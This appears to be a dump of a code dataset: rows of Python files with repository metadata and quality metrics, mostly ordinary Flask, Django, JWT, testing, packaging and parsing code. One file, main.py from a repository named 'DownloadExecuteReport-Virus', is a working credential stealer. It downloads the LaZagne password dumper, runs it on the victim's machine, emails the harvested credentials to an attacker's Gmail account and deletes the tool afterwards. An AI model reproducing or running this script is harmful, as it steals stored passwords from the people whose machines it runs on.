hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4c219c1f42bd3a942209df9b52e42549c3b34e00
| 309
|
py
|
Python
|
space_trace/__init__.py
|
SpaceTeam/space-event-trace
|
ec00d6895e0bdc2a046ec2d45143d6f8d47ace6f
|
[
"MIT"
] | 2
|
2022-01-04T00:34:27.000Z
|
2022-01-04T00:51:14.000Z
|
space_trace/__init__.py
|
SpaceTeam/space-event-trace
|
ec00d6895e0bdc2a046ec2d45143d6f8d47ace6f
|
[
"MIT"
] | null | null | null |
space_trace/__init__.py
|
SpaceTeam/space-event-trace
|
ec00d6895e0bdc2a046ec2d45143d6f8d47ace6f
|
[
"MIT"
] | null | null | null |
import toml
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__, instance_relative_config=True)
app.config.from_file("config.toml", load=toml.load)
db = SQLAlchemy(app)
@app.before_first_request
def create_table():
db.create_all()
from space_trace import views, cli
| 18.176471
| 52
| 0.789644
| 46
| 309
| 5.021739
| 0.543478
| 0.077922
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122977
| 309
| 16
| 53
| 19.3125
| 0.852399
| 0
| 0
| 0
| 0
| 0
| 0.035599
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1
| false
| 0
| 0.4
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 1
|
4c237eab0c099d5c3321cd95e513399431effe30
| 668
|
py
|
Python
|
TransitPass/urls.py
|
Savior-19/Savior19
|
b80c05a19ebadf73c3d88656b7c34b761cb02f3c
|
[
"MIT"
] | null | null | null |
TransitPass/urls.py
|
Savior-19/Savior19
|
b80c05a19ebadf73c3d88656b7c34b761cb02f3c
|
[
"MIT"
] | null | null | null |
TransitPass/urls.py
|
Savior-19/Savior19
|
b80c05a19ebadf73c3d88656b7c34b761cb02f3c
|
[
"MIT"
] | 4
|
2020-05-27T10:02:31.000Z
|
2021-07-11T08:14:20.000Z
|
from django.urls import path
from . import views
urlpatterns = [
path('apply/', views.FillPassApplication, name='transit-pass-application-form'),
path('application-details/<int:appln_id>', views.DisplayApplicationToken, name='application-details'),
path('view-application-list/', views.DisplayApplicationList, name='view-application-list'),
path('view-application/<int:appln_id>/', views.DisplayIndividualApplication, name='view-individual-application'),
path('check-application-status/', views.CheckApplicationStatus, name='check-application-status'),
path('check-pass-validity/', views.CheckPassValidity, name='check-pass-validity'),
]
| 39.294118
| 117
| 0.754491
| 71
| 668
| 7.070423
| 0.408451
| 0.089641
| 0.039841
| 0.059761
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.08982
| 668
| 17
| 118
| 39.294118
| 0.825658
| 0
| 0
| 0
| 0
| 0
| 0.415546
| 0.31988
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.2
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
4c263e5689af5df6e8fbc9a6cee80e41efe505e2
| 2,319
|
py
|
Python
|
frontegg/baseConfig/identity_mixin.py
|
pinikeizman/python-sdk
|
f8b2188bdf160408adf0068f2e3bd3cd4b0b4655
|
[
"MIT"
] | null | null | null |
frontegg/baseConfig/identity_mixin.py
|
pinikeizman/python-sdk
|
f8b2188bdf160408adf0068f2e3bd3cd4b0b4655
|
[
"MIT"
] | null | null | null |
frontegg/baseConfig/identity_mixin.py
|
pinikeizman/python-sdk
|
f8b2188bdf160408adf0068f2e3bd3cd4b0b4655
|
[
"MIT"
] | null | null | null |
from abc import ABCMeta, abstractmethod
from frontegg.helpers.frontegg_urls import frontegg_urls
import typing
import jwt
import requests
from frontegg.helpers.logger import logger
from jwt import InvalidTokenError
class IdentityClientMixin(metaclass=ABCMeta):
__publicKey = None
@property
@abstractmethod
def vendor_session_request(self) -> requests.Session:
pass
@property
@abstractmethod
def should_refresh_vendor_token(self) -> bool:
pass
@abstractmethod
def refresh_vendor_token(self) -> None:
pass
def get_public_key(self) -> str:
if self.__publicKey:
return self.__publicKey
logger.info('could not find public key locally, will fetch public key')
reties = 0
while reties < 10:
try:
self.__publicKey = self.fetch_public_key()
return self.__publicKey
except Exception as e:
reties = reties + 1
logger.error(
'could not get public key from frontegg, retry number - ' + str(reties) + ', ' + str(e))
logger.error('failed to get public key in all retries')
def fetch_public_key(self) -> str:
if self.should_refresh_vendor_token:
self.refresh_vendor_token()
response = self.vendor_session_request.get(
frontegg_urls.identity_service['vendor_config'])
response.raise_for_status()
data = response.json()
return data.get('publicKey')
def decode_jwt(self, authorization_header, verify: typing.Optional[bool] = True):
if not authorization_header:
raise InvalidTokenError('Authorization headers is missing')
logger.debug('found authorization header: ' +
str(authorization_header))
jwt_token = authorization_header.replace('Bearer ', '')
if verify:
public_key = self.get_public_key()
logger.debug('got public key' + str(public_key))
decoded = jwt.decode(jwt_token, public_key, algorithms='RS256')
else:
decoded = jwt.decode(jwt_token, algorithms='RS256', verify=False)
logger.info('jwt was decoded successfully')
logger.debug('JWT value - ' + str(decoded))
return decoded
| 32.661972
| 108
| 0.639069
| 257
| 2,319
| 5.571984
| 0.354086
| 0.075419
| 0.050279
| 0.046089
| 0.103352
| 0.030726
| 0
| 0
| 0
| 0
| 0
| 0.005974
| 0.278137
| 2,319
| 70
| 109
| 33.128571
| 0.849462
| 0
| 0
| 0.175439
| 0
| 0
| 0.131522
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.105263
| false
| 0.052632
| 0.122807
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
4c2897e16dece2ba4ecd2dbef042a4f90f011294
| 786
|
py
|
Python
|
main.py
|
TheRavehorn/DownloadExecuteReport-Virus
|
9df26706e504d1df33e07c09fa56baa28d89f435
|
[
"MIT"
] | null | null | null |
main.py
|
TheRavehorn/DownloadExecuteReport-Virus
|
9df26706e504d1df33e07c09fa56baa28d89f435
|
[
"MIT"
] | null | null | null |
main.py
|
TheRavehorn/DownloadExecuteReport-Virus
|
9df26706e504d1df33e07c09fa56baa28d89f435
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
import requests
import subprocess
import smtplib
import re
import os
import tempfile
def download(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as f:
f.write(get_response.content)
def send_mail(email, password, message):
server = smtplib.SMTP_SSL("smtp.gmail.com", "465")
server.ehlo()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
temp_dir = tempfile.gettempdir()
os.chdir(temp_dir)
download("https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe") # LaZagne
result = subprocess.check_output("lazagne.exe all", shell=True)
send_mail("[email protected]", "yourpassword", result)
os.remove("lazagne.exe")
| 24.5625
| 97
| 0.720102
| 110
| 786
| 5.054545
| 0.581818
| 0.053957
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011782
| 0.136132
| 786
| 31
| 98
| 25.354839
| 0.807069
| 0.036896
| 0
| 0
| 0
| 0.043478
| 0.2
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.086957
| false
| 0.130435
| 0.26087
| 0
| 0.347826
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
4c31c440814ac777bd4779fa4968cf1b1847bcac
| 1,263
|
py
|
Python
|
integration/v2/test_service_instances.py
|
subhash12/cf-python-client
|
c0ecbb8ec85040fc2f74b6c52e1f9a6c6c16c4b0
|
[
"Apache-2.0"
] | 47
|
2017-12-17T00:54:33.000Z
|
2022-02-25T09:54:52.000Z
|
integration/v2/test_service_instances.py
|
subhash12/cf-python-client
|
c0ecbb8ec85040fc2f74b6c52e1f9a6c6c16c4b0
|
[
"Apache-2.0"
] | 125
|
2017-10-27T09:38:10.000Z
|
2022-03-10T07:53:35.000Z
|
integration/v2/test_service_instances.py
|
subhash12/cf-python-client
|
c0ecbb8ec85040fc2f74b6c52e1f9a6c6c16c4b0
|
[
"Apache-2.0"
] | 50
|
2018-01-19T07:57:21.000Z
|
2022-02-14T14:47:31.000Z
|
import logging
import unittest
from config_test import build_client_from_configuration
_logger = logging.getLogger(__name__)
class TestServiceInstances(unittest.TestCase):
def test_create_update_delete(self):
client = build_client_from_configuration()
result = client.v2.service_instances.create(client.space_guid, "test_name", client.plan_guid, client.creation_parameters)
if len(client.update_parameters) > 0:
client.v2.service_instances.update(result["metadata"]["guid"], client.update_parameters)
else:
_logger.warning("update test skipped")
client.v2.service_instances.remove(result["metadata"]["guid"])
def test_get(self):
client = build_client_from_configuration()
cpt = 0
for instance in client.v2.service_instances.list():
if cpt == 0:
self.assertIsNotNone(client.v2.service_instances.get_first(space_guid=instance["entity"]["space_guid"]))
self.assertIsNotNone(client.v2.service_instances.get(instance["metadata"]["guid"]))
self.assertIsNotNone(client.v2.service_instances.list_permissions(instance["metadata"]["guid"]))
cpt += 1
_logger.debug("test_get - %d found", cpt)
| 43.551724
| 129
| 0.69517
| 145
| 1,263
| 5.786207
| 0.351724
| 0.066746
| 0.125149
| 0.200238
| 0.299166
| 0.261025
| 0.170441
| 0
| 0
| 0
| 0
| 0.010784
| 0.192399
| 1,263
| 28
| 130
| 45.107143
| 0.811765
| 0
| 0
| 0.086957
| 0
| 0
| 0.087886
| 0
| 0
| 0
| 0
| 0
| 0.130435
| 1
| 0.086957
| false
| 0
| 0.130435
| 0
| 0.26087
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
4c3723af9b53c7e19a14d4d5a300a57c775f6c8c
| 553
|
py
|
Python
|
setup.py
|
Lif3line/myo-helper
|
7c71a3ee693661ddba0171545bf5798f46231b3c
|
[
"MIT"
] | null | null | null |
setup.py
|
Lif3line/myo-helper
|
7c71a3ee693661ddba0171545bf5798f46231b3c
|
[
"MIT"
] | null | null | null |
setup.py
|
Lif3line/myo-helper
|
7c71a3ee693661ddba0171545bf5798f46231b3c
|
[
"MIT"
] | null | null | null |
"""Utiltiy functions for working with Myo Armband data."""
from setuptools import setup, find_packages
setup(name='myo_helper',
version='0.1',
description='Utiltiy functions for working with Myo Armband data',
author='Lif3line',
author_email='[email protected]',
license='MIT',
packages=find_packages(),
url='https://github.com/Lif3line/myo_helper', # use the URL to the github repo
install_requires=[
'scipy',
'sklearn',
'numpy'
],
keywords='myo emg')
| 27.65
| 85
| 0.631103
| 64
| 553
| 5.359375
| 0.65625
| 0.093294
| 0.110787
| 0.151604
| 0.25656
| 0.25656
| 0.25656
| 0.25656
| 0
| 0
| 0
| 0.012019
| 0.24774
| 553
| 19
| 86
| 29.105263
| 0.8125
| 0.151899
| 0
| 0
| 0
| 0
| 0.345572
| 0.049676
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.066667
| 0
| 0.066667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
4c43be0918680e081f3bcc9acc58506e39754d60
| 1,421
|
py
|
Python
|
setup.py
|
jerzydziewierz/typobs
|
15fa697386f5fb3a1df53b865557c338be235d91
|
[
"Apache-2.0"
] | null | null | null |
setup.py
|
jerzydziewierz/typobs
|
15fa697386f5fb3a1df53b865557c338be235d91
|
[
"Apache-2.0"
] | null | null | null |
setup.py
|
jerzydziewierz/typobs
|
15fa697386f5fb3a1df53b865557c338be235d91
|
[
"Apache-2.0"
] | null | null | null |
# setup.py as described in:
# https://stackoverflow.com/questions/27494758/how-do-i-make-a-python-script-executable
# to install on your system, run:
# > pip install -e .
from setuptools import setup, find_packages
setup(
name='typobs',
version='0.0.3',
entry_points={
'console_scripts': [
'to_obsidian=to_obsidian:run',
'to_typora=to_typora:run',
]
},
packages=find_packages(),
# metadata to display on PyPI
author="Jerzy Dziewierz",
author_email="[email protected]",
description="Convert between Typora and Obsidian link styles",
keywords="Typora Obsidian Markdown link converter",
url="https://github.com/jerzydziewierz/typobs", # project home page, if any
project_urls={
"Bug Tracker": "https://github.com/jerzydziewierz/typobs",
"Documentation": "https://github.com/jerzydziewierz/typobs",
"Source Code": "https://github.com/jerzydziewierz/typobs",
},
classifiers=[
"Programming Language :: Python",
"Topic :: Documentation",
"Topic :: Software Development :: Documentation",
"Topic :: Office/Business",
"Topic :: Text Processing :: Filters",
"Topic :: Text Processing :: Markup",
"Development Status :: 5 - Production/Stable",
"Environment :: Console",
"License :: OSI Approved :: Apache Software License",
]
)
| 36.435897
| 87
| 0.640394
| 152
| 1,421
| 5.914474
| 0.625
| 0.048943
| 0.062291
| 0.124583
| 0.151279
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010899
| 0.225194
| 1,421
| 39
| 88
| 36.435897
| 0.805631
| 0.152006
| 0
| 0
| 0
| 0
| 0.584654
| 0.060884
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.030303
| 0
| 0.030303
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
4c483ae5f1b2a18e4178f810a8a5efb2cf0ef940
| 776
|
py
|
Python
|
tests/test_selection.py
|
qrebjock/fanok
|
5c3b95ca5f2ec90af7060c21409a11130bd350bd
|
[
"MIT"
] | null | null | null |
tests/test_selection.py
|
qrebjock/fanok
|
5c3b95ca5f2ec90af7060c21409a11130bd350bd
|
[
"MIT"
] | null | null | null |
tests/test_selection.py
|
qrebjock/fanok
|
5c3b95ca5f2ec90af7060c21409a11130bd350bd
|
[
"MIT"
] | 1
|
2020-08-26T12:20:26.000Z
|
2020-08-26T12:20:26.000Z
|
import pytest
import numpy as np
from fanok.selection import adaptive_significance_threshold
@pytest.mark.parametrize(
"w, q, offset, expected",
[
([1, 2, 3, 4, 5], 0.1, 0, 1),
([-1, 2, -3, 4, 5], 0.1, 0, 4),
([-3, -2, -1, 0, 1, 2, 3], 0.1, 0, np.inf),
([-3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 0.1, 0, 4),
([-3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10], 0.15, 0, 3),
(
[-1.52, 1.93, -0.76, -0.35, 1.21, -0.39, 0.08, -1.45, 0.31, -1.38],
0.1,
0,
1.93,
),
],
)
def test_adaptive_significance_threshold(w, q, offset, expected):
w = np.array(w)
threshold = adaptive_significance_threshold(w, q, offset=offset)
assert threshold == expected
| 27.714286
| 79
| 0.474227
| 135
| 776
| 2.674074
| 0.325926
| 0.055402
| 0.041551
| 0.044321
| 0.368421
| 0.368421
| 0.163435
| 0.163435
| 0.127424
| 0.127424
| 0
| 0.192884
| 0.311856
| 776
| 27
| 80
| 28.740741
| 0.483146
| 0
| 0
| 0
| 0
| 0
| 0.028351
| 0
| 0
| 0
| 0
| 0
| 0.043478
| 1
| 0.043478
| false
| 0
| 0.130435
| 0
| 0.173913
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
4c4be3eb705a80e6147920908a86da5673e90f59
| 918
|
py
|
Python
|
week4/string_format.py
|
MathAdventurer/Data_Mining
|
b0a06b5f7c13a3762a07eb84518aa4ee56896516
|
[
"MIT"
] | 1
|
2021-02-27T18:35:39.000Z
|
2021-02-27T18:35:39.000Z
|
week4/string_format.py
|
MathAdventurer/Data_Mining
|
b0a06b5f7c13a3762a07eb84518aa4ee56896516
|
[
"MIT"
] | null | null | null |
week4/string_format.py
|
MathAdventurer/Data_Mining
|
b0a06b5f7c13a3762a07eb84518aa4ee56896516
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Wed Feb 26 22:23:07 2020
@author: Neal LONG
Try to construct URL with string.format
"""
base_url = "http://quotes.money.163.com/service/gszl_{:>06}.html?type={}"
stock = "000002"
api_type = 'cp'
print("http://quotes.money.163.com/service/gszl_"+stock+".html?type="+api_type)
print(base_url.format(stock,api_type))
print('='*40)
stock = "00002"
print("http://quotes.money.163.com/service/gszl_"+stock+".html?type="+api_type)
print(base_url.format(stock,api_type))
print('='*40)
print('='*40)
print('{:>6}'.format('236'))
print('{:>06}'.format('236'))
print("Every {} should know the use of {}-{} programming and {}"
.format("programmer", "Open", "Source", "Operating Systems"))
print("Every {3} should know the use of {2}-{1} programming and {0}"
.format("programmer", "Open", "Source", "Operating Systems"))
| 27
| 80
| 0.623094
| 129
| 918
| 4.348837
| 0.457364
| 0.062389
| 0.085562
| 0.096257
| 0.606061
| 0.541889
| 0.392157
| 0.335116
| 0.335116
| 0.335116
| 0
| 0.070039
| 0.160131
| 918
| 34
| 81
| 27
| 0.657588
| 0.12963
| 0
| 0.529412
| 0
| 0
| 0.509881
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.647059
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 1
|
4c55251ed58f769e9fbe55114b14a016770952cb
| 1,075
|
py
|
Python
|
libcity/executor/map_matching_executor.py
|
nadiaaaaachen/Bigscity-LibCity
|
d8efd38fcc238e3ba518c559cc9f65b49efaaf71
|
[
"Apache-2.0"
] | 1
|
2021-11-22T12:22:32.000Z
|
2021-11-22T12:22:32.000Z
|
libcity/executor/map_matching_executor.py
|
yuanhaitao/Bigscity-LibCity
|
9670c6a2f26043bb8d9cc1715780bb599cce2cd5
|
[
"Apache-2.0"
] | null | null | null |
libcity/executor/map_matching_executor.py
|
yuanhaitao/Bigscity-LibCity
|
9670c6a2f26043bb8d9cc1715780bb599cce2cd5
|
[
"Apache-2.0"
] | null | null | null |
from logging import getLogger
from libcity.executor.abstract_tradition_executor import AbstractTraditionExecutor
from libcity.utils import get_evaluator
class MapMatchingExecutor(AbstractTraditionExecutor):
def __init__(self, config, model):
self.model = model
self.config = config
self.evaluator = get_evaluator(config)
self.evaluate_res_dir = './libcity/cache/evaluate_cache'
self._logger = getLogger()
def evaluate(self, test_data):
"""
use model to test data
Args:
test_data
"""
result = self.model.run(test_data)
batch = {'route': test_data['route'], 'result': result, 'rd_nwk': test_data['rd_nwk']}
self.evaluator.collect(batch)
self.evaluator.save_result(self.evaluate_res_dir)
def train(self, train_dataloader, eval_dataloader):
"""
对于传统模型，不需要训练
Args:
train_dataloader(torch.Dataloader): Dataloader
eval_dataloader(torch.Dataloader): Dataloader
"""
pass # do nothing
| 29.861111
| 94
| 0.652093
| 115
| 1,075
| 5.869565
| 0.4
| 0.071111
| 0.044444
| 0.053333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.254884
| 1,075
| 35
| 95
| 30.714286
| 0.842697
| 0.163721
| 0
| 0
| 0
| 0
| 0.071429
| 0.036946
| 0
| 0
| 0
| 0
| 0
| 1
| 0.176471
| false
| 0.058824
| 0.176471
| 0
| 0.411765
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 1
|
4c5b0cb42835f92d5cfa623b7b0648900462ba33
| 1,069
|
py
|
Python
|
examples/simpleWiki.py
|
klahnakoski/mo-parsing
|
885bf3fd61430d5fa15164168b975b18988fcf9e
|
[
"MIT"
] | 1
|
2021-10-30T21:18:29.000Z
|
2021-10-30T21:18:29.000Z
|
examples/simpleWiki.py
|
klahnakoski/mo-parsing
|
885bf3fd61430d5fa15164168b975b18988fcf9e
|
[
"MIT"
] | 22
|
2020-04-15T14:49:30.000Z
|
2021-12-22T02:49:52.000Z
|
examples/simpleWiki.py
|
klahnakoski/mo-parsing
|
885bf3fd61430d5fa15164168b975b18988fcf9e
|
[
"MIT"
] | null | null | null |
from mo_parsing.helpers import QuotedString
wikiInput = """
Here is a simple Wiki input:
*This is in italics.*
**This is in bold!**
***This is in bold italics!***
Here's a URL to {{Pyparsing's Wiki Page->https://site-closed.wikispaces.com}}
"""
def convertToHTML(opening, closing):
def conversionParseAction(t, l, s):
return opening + t[0] + closing
return conversionParseAction
italicized = QuotedString("*").add_parse_action(convertToHTML("<I>", "</I>"))
bolded = QuotedString("**").add_parse_action(convertToHTML("<B>", "</B>"))
boldItalicized = QuotedString("***").add_parse_action(convertToHTML("<B><I>", "</I></B>"))
def convertToHTML_A(t, l, s):
try:
text, url = t[0].split("->")
except ValueError:
raise ParseFatalException(s, l, "invalid URL link reference: " + t[0])
return '<A href="{}">{}</A>'.format(url, text)
urlRef = QuotedString("{{", end_quote_char="}}").add_parse_action(convertToHTML_A)
wikiMarkup = urlRef | boldItalicized | bolded | italicized
| 28.131579
| 91
| 0.635173
| 128
| 1,069
| 5.203125
| 0.476563
| 0.048048
| 0.084084
| 0.162162
| 0.178679
| 0.12012
| 0
| 0
| 0
| 0
| 0
| 0.00346
| 0.188962
| 1,069
| 37
| 92
| 28.891892
| 0.764706
| 0
| 0
| 0
| 0
| 0.043478
| 0.269193
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.130435
| false
| 0
| 0.043478
| 0.043478
| 0.304348
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 1
|
4c5e8dbae6d19592874e45bede3206b69cd9c042
| 594
|
py
|
Python
|
genlicense.py
|
d53dave/python-crypto-licensecheck
|
d11612612ea54a5418fd8dbba9212a9c84c56f22
|
[
"CNRI-Python",
"RSA-MD"
] | null | null | null |
genlicense.py
|
d53dave/python-crypto-licensecheck
|
d11612612ea54a5418fd8dbba9212a9c84c56f22
|
[
"CNRI-Python",
"RSA-MD"
] | null | null | null |
genlicense.py
|
d53dave/python-crypto-licensecheck
|
d11612612ea54a5418fd8dbba9212a9c84c56f22
|
[
"CNRI-Python",
"RSA-MD"
] | null | null | null |
import sys
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
def sign_data(key, data, output_file):
with open(key, 'r', encoding='utf-8') as keyFile:
rsakey = RSA.importKey(keyFile.read())
signer = pkcs1_15.new(rsakey)
digest = SHA256.new(data.encode('utf-8'))
with open(output_file, 'wb') as out:
out.write(signer.sign(digest))
